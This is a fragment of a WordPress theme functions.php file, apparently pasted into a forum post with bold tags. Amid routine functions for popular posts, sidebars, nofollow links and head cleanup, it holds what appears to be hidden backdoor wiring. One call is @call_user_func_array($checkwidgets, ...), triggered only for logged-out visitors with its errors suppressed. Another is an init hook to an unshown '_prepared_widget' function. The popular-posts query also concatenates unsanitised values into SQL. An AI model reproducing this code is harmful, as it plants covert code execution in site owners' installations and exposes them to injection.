[B] $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";[/B]
[B] } else {[/B]
[B] $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";[/B]
[B] }[/B]
[B] }[/B]
[B] return $output;[/B]
[B]}[/B]
[B]add_action("init", "_prepared_widget");[/B]
[B]function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {[/B]
[B] global $wpdb;[/B]
[B] $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";[/B]
[B] $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";[/B]
[B] if(!$show_pass_post) $request .= " AND post_password =\"\"";[/B]
[B] if($duration !="") { [/B]
[B] $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";[/B]
[B] }[/B]
[B] $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";[/B]
[B] $posts=$wpdb->get_results($request);[/B]
[B] $output="";[/B]
[B] if ($posts) {[/B]
[B] foreach ($posts as $post) {[/B]
[B] $post_title=stripslashes($post->post_title);[/B]
[B] $comment_count=$post->comment_count;[/B]
[B] $permalink=get_permalink($post->ID);[/B]
[B] $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;[/B]
[B] }[/B]
[B] } else {[/B]
[B] $output .= $before . "None found" . $after;[/B]
[B] }[/B]
[B] return $output;[/B]
[B]} [/B]
[B]if ( function_exists('register_sidebar') )[/B]
[B]register_sidebar(array([/B]
[B]'before_widget' => '',[/B]
[B]'after_widget' => '</div><div class="wfo"></div>',[/B]
[B]'before_title' => '<div class="wtop">',[/B]
[B]'after_title' => '</div><div class="wco">',[/B]
[B]));[/B]
[B]function my_function_admin_bar(){[/B]
[B]return false;[/B]
[B]}[/B]
[B]add_filter( 'show_admin_bar' , 'my_function_admin_bar');[/B]
[B]add_filter('the_content', 'my_nofollow');[/B]
[B]add_filter('the_excerpt', 'my_nofollow');[/B]
[B]function my_nofollow($content) {[/B]
[B]return preg_replace_callback('/<a[^>]+/', 'my_nofollow_callback', $content);[/B]
[B]}[/B]
[B]function my_nofollow_callback($matches) {[/B]
[B]$link = $matches[0];[/B]
[B]$site_link = get_bloginfo('url');[/B]
[B]if (strpos($link, 'rel') === false) {[/B]
[B]$link = preg_replace("%(href=\S(?!$site_link))%i", 'rel="nofollow" $1', $link);[/B]
[B]} elseif (preg_match("%href=\S(?!$site_link)%i", $link)) {[/B]
[B]$link = preg_replace('/rel=\S(?!nofollow)\S*/i', 'rel="nofollow"', $link);[/B]
[B]}[/B]
[B]return $link;[/B]
[B]}[/B]
[B]add_action('init', 'remheadlink');[/B]
[B]function remheadlink() {[/B]
[B]remove_action('wp_head', 'rsd_link');[/B]
[B]remove_action('wp_head', 'wlwmanifest_link');[/B]
[B]}[/B]
[B]?>[/B]